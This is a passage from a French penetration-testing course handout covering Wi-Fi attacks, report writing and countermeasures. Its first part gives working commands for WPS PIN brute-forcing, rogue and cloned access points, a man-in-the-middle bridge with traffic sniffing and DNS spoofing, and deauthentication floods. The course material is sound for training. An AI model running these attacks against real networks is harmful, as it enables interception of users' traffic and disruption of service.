l'aide de la commande suivante :

$ airodump-ng NomDeLInterfaceMonitor

La commande suivante va tester tous les codes PIN possible jusqu'à trouver le bon.

# L'option -i pour définir l'interface réseau à utiliser


# L'option -i pour définir l'adresse MAC du point d'accès concerné
# L'option -c pour définir le canal utilisé par notre point d'accès
# L'option -vv pour augmenter le mode verbose

$ reaver -i NomInterfaceMonitor -b AdresseMacDuPointDAcces -c NuméroDuCanal -vv


21/11/2019

163
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI :

Au vu de la longueur du test (plusieurs dizaines d'heure), je n'ai pas laissé tourner l'outil "reaver" mais
normalement le résultat devrait être trouvé à la fin.

11.8 Clonage de point d'accès

Le clonage de point d'accès est l'une des attaques les plus intéressante. Elle consiste à surveiller les
informations transmises par l'utilisateur et peut aller jusqu'à l'accès à des informations
confidentielles en utilisation l'attaque Man In The Middle [MITM] (interception et redirection de
trafic).

Pour exécuter cette attaque, il existe plusieurs outils :

✓ SET
✓ Websploit
✓ Gerix
✓ Easy-creds
✓ Airebase-ng (Nous allons développer cet outil dans les prochaines parties)

Pour la nième fois, je rappelle de notre carte wifi doit être en mode monitor à l'aide de la commande
"airmon-ng" et au besoin, pensez à killer les processus liés à votre carte à l'aide de la commande : $
airmon-ng check kill

11.8.1 Création d'un "faux" point d'accès

# création d'un "faux" point d'accès


$ airebase-ng -c NuméroDuCanalSouhaité -e NomDuSSIDSouhaité NomDeLInterfaceMonitor

A partir de ce moment, vous pouvez vérifier qu'un nouveau réseau sans fil est disponible et attendre
qu'un client vienne se connecter.

Nous allons maintenant aller plus loin en clonage directement un réseau wifi existant.

11.8.2 Clonage d'un point d'accès


21/11/2019

# Lancement du scan pour visualiser les points d'accès disponible aux alentours
$ airodump-ng NomDeLInterfaceMonitor

164
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de la création du clone de notre point d'accès


$ airebase-ng -c NuméroDuCanalSouhaité -a AdresseMACDuPointDAccesACloner -e
NomDuSSIDACloner -L -W 1 NomDeLInterfaceMonitor

A partir de cette étape, vous pouvez associer l'un de vos appareils au SSID cloné.

Nous voyons qu'une fois, un client connecter l'attaque "Caffe Latte" est lancé.

# Récupération des keystreams pour les cracker ultérieurement


$ airodump-ng NomDeLInterfaceMonitor --bssid AdresseMACDuPointDAcces -w
NomDuFichiersDesCaptures

# Crackage en utilisant le fichier de capture


$ aircrack-ng NomDuFichiersDesCaptures

POUR DE VRAI :

Au vu de la longueur du test, je n'ai pas laissé tourner l'outil "aircrack-ng" mais normalement le
21/11/2019

résultat devrait être trouvé à la fin.

165
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

11.8.3 Utilisation de l'attaque Man In The Middle

PRE-REQUIS :

Pour ce nouveau chapitre, nous aurons besoin d'installer le paquet "bridge-utils" pour utiliser la
commande "brctl". Pour cela, nous devons la commande suivante :

$ apt install bridge-utils

Nous allons, maintenant, essayer d'effectuer une attaque "MITM"

# Création d'un "faux" réseau wifi


$ airebase-ng --essid NomDuSSIDSouhaité -c NuméroDuCanal NomDeLInterfaceMonitor

# Vérifions que notre réseau sans fil est bien créé


$ airodump-ng NomDeLInterfaceMonitor

Il est important de savoir que, lorsque nous avons créé notre réseau avec la commande "airebase-
ng", une interface intermédiaire, appelé ici at0, est créée.

# Création d'un pont entre notre interface réseau et l'interface intermédiaire


$ brtcl addbr NomDuPont

# Ajout des interfaces concernées par le pont


$ brtcl addif NomDuPoint NomDeNotreInterface
21/11/2019

166
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Assignation d'une adresse à nos interfaces


$ ifconfig NomDeLInterface AdresseIP up

# Activation du forwarding
$ echo 1 > /proc/sys/net/ipv4/ip_forward

Il ne nous reste plus qu'à nous connecter à notre "faux" point d'accès.

On peut observer, sur notre client, obtention d'une adresse IP de façon automatique

La collecte de données peut donc commencer. Utilisons, par exemple, l'outil "Wireshark" pour sniffer
les trames de notre bridge : $ wireshark

Nous voyons sur l'image ci-dessous que notre client tente d'accéder au site alphorm.com.

Pour aller plus loin, nous pouvons utiliser l'attaque "DNS Spoofing", sur notre interface mitm-bridge,
pour collecter encore plus d'information : $ dnsspoof NomDuPont
21/11/2019

167
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour conclure, cette attaque est très dévastatrice et nous montrer le danger de se connecter à des
réseaux sans fil dit public. L'utilisation d'un VPN sur ce type de réseau est, plus que, recommander !

11.9 L'attaque DoS

Nous avons déjà présenté l'attaque par déni de service mais cette partie développera cette attaque
sur les réseaux sans fil.
Les réseaux wifi sont extrêmement sensibles aux DoS et s'ajoute à cela, la difficulté de localiser
l'attaquant. Leur but étant de faire "crasher" le réseau.
Dans ce chapitre, nous allons créer un DoS en floodant, le réseau avec des paquets d'authenfication.

11.9.1 Aireplay-ng

Nous allons lancer un flux de paquets de dé-authentification, empêchant quiconque de se connecter


au point d'accès :

# l'option -0 indique le nombre de paquet de dé-authentification à envoyer sur le réseau (Si


NombreDePaquet = 0, le flux sera illimité)
$ aireplay-ng -0 5 -a AdresseMACDuPointDAcces NomDeLInterfaceMonitor

NDLR :

Lors de cette dernière commande, je me suis retrouvé avec l'erreur " wlan0mon is on channel 3, but
the AP uses channel 6".
J'ai trouvé la solution (source : https://forum.aircrack-ng.org/index.php?topic=2114.0) qui consiste à
forcer l'utilisation d'un canal par l'interface monitor :

$ airmon-ng start NomDeLInterfaceMonitor NuméroDuCanalSouhaité

11.9.2 Websploit

PRE-REQUIS :
21/11/2019

Pour ce nouvel outil dont nous allons avoir besoin devra être installer via la commande suivante :

$ apt install websploit

168
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de l'outil "websploit"


$ websploit

# Visualisation des modules disponibles


$ show modules

Les modules spécifiques au wifi se résument à cela :

➔ wifi_jammer : consiste à envoyer des paquets de dé-authentification

➔ wifi_dos : consiste à flooder (envoyer une grande quantité de données inutiles)

➔ wifi_honeypot : consiste à créer des "Fake AP" (faux point d'accès)

Nous allons détailler l'utilisation du module "wifi_jammer", mais la procédure est identique pour les
autres.

# Sélection du module "wifi_jammer"


$ use wifi/wifi_jammer

# Visualiser les options


$ show options

# Sélection de l'interface
$ set interfaces NomDeLInterface

# Sélection du point d'accès


$ set bssid AdresseMACDuPointDAcces

# Sélection du SSID
$ set essid NomDuSSIDDuPointDAcces

# Lancement de l'attaque
$ run
21/11/2019

169
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Le paramètre "interface" est limité en taille et n'accepte pas les interfaces, du style "wlan0mon".

Il faut donc penser à arrêter le mode monitor sur notre carte wifi pour y retrouver un nom d'interface
plus court, par exemple, "wlan0". Pour faire celui, exécuter la commande suivante :

$ airmon-ng stop NomDeLInterfaceMonitor

12 Reporting

12.1 Introduction au reporting

Le reporting est une partie très importante. En effet, il reflète, pour votre hiérarchie, vos
collaborateurs ou tout simplement votre client, l'état du système d'information de l'infrastructure,
des applications, … sur son niveau de sécurité. Ce rapport permet, aux développeurs ou à vous-
même de régler les problèmes de sécurité, d'une façon organisée et rapide.
21/11/2019

170
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous allons donc traiter maintenant le sujet de l'écriture des rapports. En aucun cas, ce qui suit doit
être pris pour une référence "légal". En tant que pentester, vous avez un rôle d'auditeur, ce qui
signifie que vous devez rapporter les faits et solutions d'un système, réseau, infrastructure, …
La valeur de votre travail se fera à travers ce rapport qui sera un élément clé pour la remontée
d'information au niveau décisionnel.

Il existe une normalisation dans l'édition d'un rapport comme, par exemple, le MLA [the Modern
Language Association of america style]

Le reporting peut être considéré comme un art car il n'est pas toujours évidant de présenter un
rapport de sécurité clair et détaillé sur ce que l'on a trouvé.

La façon dont vous présenterez votre travail définira vos perceptives sachant qu'il existe des styles
spécialisés en audit. L'utilisation de COBIT ou encore ITIL comme référentiel de bonnes pratiques
d'audit informatique est un bon moyen d'arriver à un résultat très complet.
Ce rapport va nous permettre d'avoir un historique (traçabilité) et de montrer par la suite la gravité
de la situation, les façons de les solutionner mais surtout l'impact au niveau de l'infrastructure.

Quelques points utiles tel que : les lignes de base, les normes à suivre en fonction des types
d'établissement audité ou encore les lignes directrices nous permettront de présenter un rapport le
plus conformément possible.

Il existe, aussi, des outils, tel que Nessus, Openvas, et bien d'autres, que nous allons voir par la suite,
pour nous aider à établir notre rapport.

12.2 Les types de reporting

➢ Méthodologie SAW

La méthodologie SAW se centre sur la politique de sécurité des standards et les bonnes pratiques.
Le premier point à suivre, concerne les lignes de référence, incluant la cartographie et la découverte
du réseau.
Le second point, porte sur les faiblesses sécuritaires, regroupant l'audit et l'évaluation des menaces.
Le troisième point concernant l'exposition aux risques, dont le but est de verrouiller et sécuriser les
accès du réseau.
Le dernière point, la remédiation, qui inclut l'évaluation du risque, la proposition de solution qui se
lie à une veille constante (formation) aux différents services de l'entreprise concernée. Cette partie
de veille (sensibilisation aux failles) est souvent négligée et reste la plus grande faille car il n'hésite
pas de patch pour la faille humaine.
Cette méthodologie SAW est suivie par la plupart des rapports en complément du PDCA [Plan Do
check Act] : https://www.webstrat.fr/blog/pdca-plan-do-check-act-qualite-4-etapes
21/11/2019

171
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Executive report

Cela consiste à écrire les grandes lignes du travail qui va être réalisé pour atteindre le but fixé : détail
des cibles, présentation de l'architecture mais aussi évaluation du travail, du risque, …

➢ Activity report

Rapport basé sur un modèle d'arborescence, contenant tous les exploits exécutés (avec capture
d'écran).

➢ Host report

Ce rapport énumère toutes les informations de façon détaillées sur l'hôte, le nombre d'ordinateur
compromis et la moyenne des vulnérabilités exploitées incluant les références C.V.E. [Common
Vulnerabilities and Exposures]

➢ Vulnerability report

Il s'agit d'un rapport détaillé des exploits exécutés avec succès. Il contient, par ailleurs, les niveaux de
criticité sur la cible.

➢ Client-side Penetration Test report


21/11/2019

Il s'agit d'un audit complet sur chaque site, généralement édité avec des templates (maquette). On y
retrouve le descriptif de la faille, la référence C.V.E., l'exploit utilisé avec capture d'écran, les résultats
associés jusqu'aux détails du risque de cette vulnérabilité.
172
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ User report

Ce rapport est orienté plutôt Client-Side [coté client] et répond à la question Quoi ? [Qu'est-ce que
l'on fait], Quand ? [Quand est ce que l'on est en train de le faire], Qui ? [Qui est impliquer dans notre
action].

21/11/2019

173
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

12.3 Les outils de reporting sous Kali

Pour nous permettre de générer des rapports de façon simple et rapide, nous allons utiliser les outils
suivants :

❖ Dradis

Dradis est un framework open source, permettant un partage efficace d'informations. Cette
application web indépendante met à disposition un espace de partage centralisé [repository].
Il permet de générer des rapports de manière simple, de gérer les pièces jointes, et s'intègre avec des
outils et systèmes existant via des plugins serveur tel que bursuite, nmap, ou encore metasploit.

Lancer le via la commande : $ dradis et rendez-vous, ensuite, à l'adresse suivante :


http://127.0.0.1:3000

POUR DE VRAI :

Impossible pour moi d'accès à la page de "Dradis", j'ai désinstallé, réinstaller, mise à jour et même
fait une réinstallation de ma machine virtuelle Kali, il ne voulait rien savoir. Mais en partant de ma
machine virtuelle Debian, j'ai réussi à le lancer. Voici comme j'ai procédé (installation en root) :

# Mise à jour de la liste des paquets


$ apt-get update

# Installation des dépendances


$ apt install -y git redis-server ruby ruby-dev gcc make zlib1g-dev libsqlite3-dev libmariadb-dev g++

# Copie du git de Dredis


$ git clone https://github.com/dradis/dradis-ce

# lancement de l'installation
$ ruby bin/setup

# Démarrage du serveur (attention à ne pas fermer le terminal ou appuyer sur 'CTRL+C'


$ bundle exec rails server -b 0.0.0.0

Il ne nous reste plus qu'à nous connecter à l'adresse : http://127.0.0.1:3000.


La création d'un mot de passe se demandé avec à la suite la connexion avec ce dernier et l'utilisateur
"admin"
21/11/2019

Pour aller plus loin (création du service, …), voici la source que j'ai utilisé :
https://discuss.dradisframework.org/t/how-to-install-dradis-ce-3-on-ubuntu-server-16-04/342

174
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous pouvons maintenant créer un nœud [node] et au besoin des sous-nœuds [subnode] (via le
bouton ) pour avoir une arborescence lisible de notre audit.

Chacun nœud, peut être agrémenter de notes, pièces jointes, preuves, …

Il est possible, aussi, d'importer un résultat d'un autre outil. Nous allons faire le test avec un fichier
de résultat de nmap.

Commençons par créer ce fichier via la commande suivante :

$ nmap -sV AdresseIpDeLaVMMetasploitable -oX NomDuFichier.xlm

Rendez-vous maintenant dans le gestionnaire d'importation ( ).


L'importation est très simple, choisissons le type d'importation "template" (.xml) ou "package" (.zip),
21/11/2019

téléchargeons notre fichier résultat de nmap et voilà l'importation est terminée.

175
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI :

Je n'ai vraiment pas de chance, il semblerait que le fichier généré par "nmap" ne correspond pas à un
template déjà présent. Pourtant le dossier nmap dans dradis-ce/templates/plugins/nmap existe bien
et à bien du contenu.

❖ KeepNote

KeepNote, anciennement TakeNote, est un logiciel libre, multiplateforme permettant de prendre des
notes. Il est développé en Python et son interface repose sur GTK+ mail malheureusement il ne
semble plus mis à jour.

❖ Maltego CaseFile

Directement déviré de l'outil "Maltego", il va nous permettre d'effectuer des analyses en ligne mais
aussi hors-ligne. Grâce à lui, notre rapport va pouvoir être agrémenter de schéma d'analyse,
graphique, … L'importation de fichier externe du type CSV, XLS ou encore XLSX va nous permettre de
visualiser rapidement les informations.

Pour utiliser cet outil, lancez directement la commande suivante : $ maltego et sélectionner
"Maltego CaseFile"

Il ne nous reste plus qu'à créer notre graphe à notre façon : utilisateurs, groupes, adresses mail, … en
pensant bien à renseigner le maximum d'information : adresse du profil pour un compte Facebook,
ajout de notes, de pièce jointes, … Je vous invite à ouvrir cet exemple complet pour mieux
comprendre : http://www.wirewatcher.net/spyhunter/spyhunter.mtgx
21/11/2019

Pour plus d'info, je vous recommande la formation : Hacking et Sécurité : Acquérir les fondamentaux.

176
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ CutyCapt

CutyCapt est un script libre écrit en C++, nous permettant de faire des screenshots (captures d'écran)
de pages web de façon plus ergonomique.

Il s'utilise, directement dans un terminal sous la forme :

$ cutycapt --url=AdresseDuSite --out=NomDuFichier.png

21/11/2019

177
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN :

Il existe une multitude d'option pour CutyCapt, consultable en tapant la commande sans argument.
Une option intéressante est "--user-agent" qui va nous permettre de réaliser une capture en se faisant
passer pour un autre système. Pour cela voilà la commande à exécuter :

$ cutycapt --url=AdresseDuSite --out=NomDuFichier.png --user-agent="CodageUserAgent"

Les différents types de User-Agent peuvent se trouver sur internet comme par exemple ici :
http://www.webapps-online.com/online-tools/user-agent-strings/dv/brand125521/samsung-galaxy-
s4

Pour entrer plus en détail dans l'édition d'un rapport, nous pouvons nous aider de cette exemple
fourni par Offensive Security : https://www.offensive-security.com/reports/sample-penetration-
testing-report.pdf

La couverture du document nous donne les informations suivantes :

➢ Le nom de l'entreprise auditée


➢ La date du pentest
➢ Les informations complète sur l'entreprise ayant effectué l'audit

21/11/2019

178
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Dans les pages qui suivent, on retrouve le sommaire contenant :

➢ Le résumé du rapport reprenant les actions effectuées, le but de l'audit, le niveau de


confidentialité, …

➢ Le résumé des résultats de l'audit 21/11/2019

179
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Les attaques effectuées comprenant le but de l'attaque, un screenshot, un schéma et enfin le


résultat

➢ La conclusion sur les tests effectués

21/11/2019

180
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Les recommandations pour améliorer les points faibles trouvés

➢ Le niveau de risque sur les vulnérabilités détectées

➢ Les annexes détaillant chaque type de failles découvertes : criticité, impact, description et
comment y remédier

ALLER PLUS LOIN :

Pour plus d'information, il existe un site français concernant les tests de pénétration, les protocoles
sécurisés, … : https://clusif.fr/
21/11/2019

181
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

13 Contre-mesures

13.1 Introduction

Ce chapitre va nous permettre de découvrir, à l'aide de Kali, les différences contre-mesures possibles
contre les attaques les plus dévastatrices. Il est important de bien suivre ces instructions pour réduire
les vulnérabilités. En complément, il est important d'instaurer une politique de sécurité des systèmes
d'informations [PSSI] pour maintenir un certain niveau de sécurité.

13.2 Tester vos défenses

Il est important de tester vos défenses en continu, suivant vos besoins et le type d'approche
nécessaire : Black Hat / Gray Hat / White Hat.
Les tests peuvent être exécutés sur le système réel bien qu'il soit plus judicieux de le réaliser sur un
snapshot pour les systèmes virtuels.
Il est essentiel d'énumérer les risques possibles et leurs conséquences, et d'en informer, via des
formations par exemple, les différents services de l'entreprise.
Il est important, aussi, de mettre en place une stratégie d'indentification basé sur la roue de Deming
qui est un processus d'amélioration continue : PDCA (plan-do-check-act), consistant à transformer
une idée en action et l'action en connaissance.
Pour nous aider. Il est recommandé d'avoir une baseline, comme un guide de sécurité, qui pourra
suivre les standards [PCI DDS ou encore HIPAA], issues des meilleurs pratiques, comme point de
référence.

13.2 Gestion des patches

La politique de gestion des patches est un point très important, qui fait partie de la veille concernant
la sécurité informatique (nouvelles vulnérabilités, …) et qui consiste à mettre en place, une
méthodologie d'identification lié à des processus.
21/11/2019

182
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Dans notre système, chaque composant aura à sa priorité. Il faut penser SPOF [Single Point Of
Failure] qui souligne un point du système informatique dont le reste est dépendant et dont une
panne entraîne l'arrêt complet du système.

13.3 Politique de mots de passe

Il est essentiel, d'instaurer une politique de mot de passe en interdisant, impérativement, l'utilisation
de mot de passe triviaux tel que les mots de passe par défaut (exemple : admin/ admin ou encore
admin/1234).

Une bonne politique de mot de passe repose sur un choix contenant tout type de caractère, une
longueur suffisante, autorisation de la casse et avec un délai expiration. Ces directives font permettre
de diminuer, de façon importante, le taux de réussite des attaques de type Brute-Force.

13.4 Mirroring et Backup

Le mirroring est une technique consistant à cloner son environnement pour le tester.
Il est important, de mettre en place une stratégie de sauvegarde qui dépendra de vos besoins :
fréquence des mises à jour, de la criticité des données, … pour ne pas perdre, du temps, de l'argent,
des ressources.

13.5 Man In The Middle

L'attaque "Man In The Middle" reste une attaque très dangereuse voir la plus dangereuse.
L'utilisation du protocole HTTPS n'empêche, en rien, cette attaque avec des outils tel que SSLstrip. Il
est, tout de même, important de mettre à jour la version SSL/TLS puis de vérifier le protocole HTTPS
en examinant les certificats. Pour permettre d'éviter un bon nombre de problème, l'utilisation d'un
VPN est fortement recommandée. Le standard de sécurisation MACSec a été conçu pour le
chiffrement de la couche 2 (couche MAC de l'IEEE). Il assure la confidentialité et l'intégrité des
données dans un mode sans connexion. Il est normalisé par le groupe de travail IEEE 802.1.
L'utilisation d'une authentification en deux étapes (A2F) permet de valider l'accès à un utilisateur en
autorisant seulement l'authentification à ce dernier après avoir présenté deux preuves d'identité
distinctes. En général, un code à usage unique (OTP [One-Time Password], tokens), qui doit être
renseigné en plus du mot de passe habituel.

13.6 Cookie

Il existe plusieurs attaques au sein des cookies tel que le "cookie hijacking" qui consiste à réutiliser le
cookie d'un client légitime afin de réutiliser son identité. On peut ajouter une nouvelle couche de
sécurité en utilisant le flag "Secure", "HttpOnly" lors de l'utilisation de nos cookies et, bien sûr, en
maintenant à jour SSL/TLS.
21/11/2019

183
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

13.7 Clickjacking

Les contre-mesures pour l'attaque "clickjacking" consistent en l'utilisation de l'extension "Noscript"


pour éviter les exécutions malicieuses ainsi que l'option d'entête "X-Frame-Options" qui permet de
s'assurer que son contenu ne pourra pas être intégré au sein d'autres sites.

13.8 Forensic

Le forensic se défini comme un ensemble des connaissances et méthodes qui permettent de


collecter, conserver et analyser des preuves issues de supports numériques en vue de les produire
dans le cadre d'une action en justice.

14 Conclusion
Pour conclure, voici le résumé de ce que nous avons appris :

➢ Test de pénétration

Nous avons commencé cette formation par une structuration et un éclaircissement de la notion de
test de pénétration pour vous permettre d'aller dans un sens professionnel.

➢ Mise en place du lab

Cette partie nous a permis de mettre en place l'architecture que nous allons utiliser tout au long de
notre formation : configuration machines virtuelles, configuration du réseau, mise à jour système, …

➢ Identification

Ce point est, souvent, négligé par certains professionnels des audits de sécurité, pourtant sans cette
récolte de l'existant et structuration des zones de recherche, les tests de pénétration peuvent
échouer.

➢ Social Enginerring

Nous avons pu découvrir quelques techniques sur cette faille humaine, basé sur le psychologique /
technique grâce à l'outil SET.

➢ Dénis de service

Nous avons étudié les différentes attaques de DoS à travers différents exemples : utilisation de la
faille XSS pour créer un réseau de botnet et attaquer des cibles.
21/11/2019

➢ Attaque Server-Side

Cette partie nous a permis de détailler les attaques orientées serveur : "bruteforcer" des répertoires,
récupérer les versions des services et en exploiter les vulnérabilités.
184
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Attaque Client-Side

Dans ce chapitre consacré à l'attaque de la "zone" client (ordinateur, compte utilisateur, …), nous
avons effectué des élévations de privilège.

➢ Attaque Web

Nous avons pu lancer des attaques basées sur des sites web en exploitant des vulnérabilités d'une
façon avancée à l'aide d'outil tel que "sqlmap" pour l'identification, shell XSS, …

➢ Attaque sur les réseaux sans fil

Nous avons vu une introduction sur les attaques de réseau sans fil en clonant, par exemple, un point
d'accès ou encore en crackant des clés de sécurité WEP / WPA.

➢ Reporting

On a continué par détailler les techniques de reporting afin de présenter notre travail de façon
structurée au niveau manageriel / décisionnel.

➢ Contre-mesures

On a fini par présenter les contre-mesures, manageriels mais aussi technique, afin d'éviter la plupart
des vulnérabilités que l'on a pu découvrir.

Il ne vous reste plus qu'à mettre en pratique ce que nous avons vu. Pour vous entrainer, je vous
conseille les sites tel que newbieconstest ou encore root-me.

N'hésitez pas, non plus, à approfondir vos connaissances en lisant des ouvrages (favoriser les livres
en anglais, plus nombreux et plus complet).
Nous n'avons vu qu'une partie de la sécurité informatique car ce domaine est très vaste et je vous
invite à vous étendre vos connaissances sur les notions de réseau ou encore sur des langages de
programmation qui viendront compléter vos acquis

Pour continuer à vous perfectionner, le site d'alphorm propose des formations dites expert :

✓ Formation Hacking et Sécurité, Expert : Réseaux sans Fil


✓ Formation Hacking et Sécurité, Expert : Metasploit
✓ Formation Hacking et Sécurité, Expert : Les vulnérabilités Web
✓ Formation Hacking & Sécurité, Expert : Les vulnérabilités des Réseaux

✓ Formation Les sciences forensiques : L’investigation numérique


✓ Formation Pentesting avec Metasploit
✓ Formation Analyse de Malware 1/2 : Le guide complet

Merci d'avoir suivi ce document ressource sur la formation "Hacking et Sécurité : Maitriser les
21/11/2019

techniques avancées" proposé par Alphorm et bon continuation

Joan LE DU
185
Hamza KONDAH Joan LE DÛ

Vous aimerez peut-être aussi